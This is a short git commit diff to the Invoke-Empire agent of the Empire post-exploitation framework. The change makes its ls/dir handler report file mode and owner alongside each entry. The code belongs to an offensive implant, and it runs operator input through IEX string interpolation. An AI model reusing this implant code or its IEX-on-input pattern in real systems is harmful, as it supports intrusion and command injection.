master
Petr Medonos 2018-04-26 11:30:50 +02:00 committed by xorrior
parent da4ff2f9b7
commit 9b16997aba
1 changed files with 2 additions and 2 deletions

View File

@ -281,11 +281,11 @@ function Invoke-Empire {
switch -regex ($cmd) { switch -regex ($cmd) {
'(ls|dir)' { '(ls|dir)' {
if ($cmdargs.length -eq "") { if ($cmdargs.length -eq "") {
$output = Get-ChildItem -force | select lastwritetime,length,name $output = Get-ChildItem -force | select mode,@{Name="Owner";Expression={ (Get-Acl $_.FullName).Owner }},lastwritetime,length,name
} }
else { else {
try{ try{
$output = IEX "$cmd $cmdargs -Force -ErrorAction Stop | select lastwritetime,length,name" $output = IEX "$cmd $cmdargs -Force -ErrorAction Stop | select mode,@{Name="Owner";Expression={ (Get-Acl $_.FullName).Owner }},lastwritetime,length,name"
} }
catch [System.Management.Automation.ActionPreferenceStopException] { catch [System.Management.Automation.ActionPreferenceStopException] {
$output = "[!] Error: $_ (or cannot be accessed)." $output = "[!] Error: $_ (or cannot be accessed)."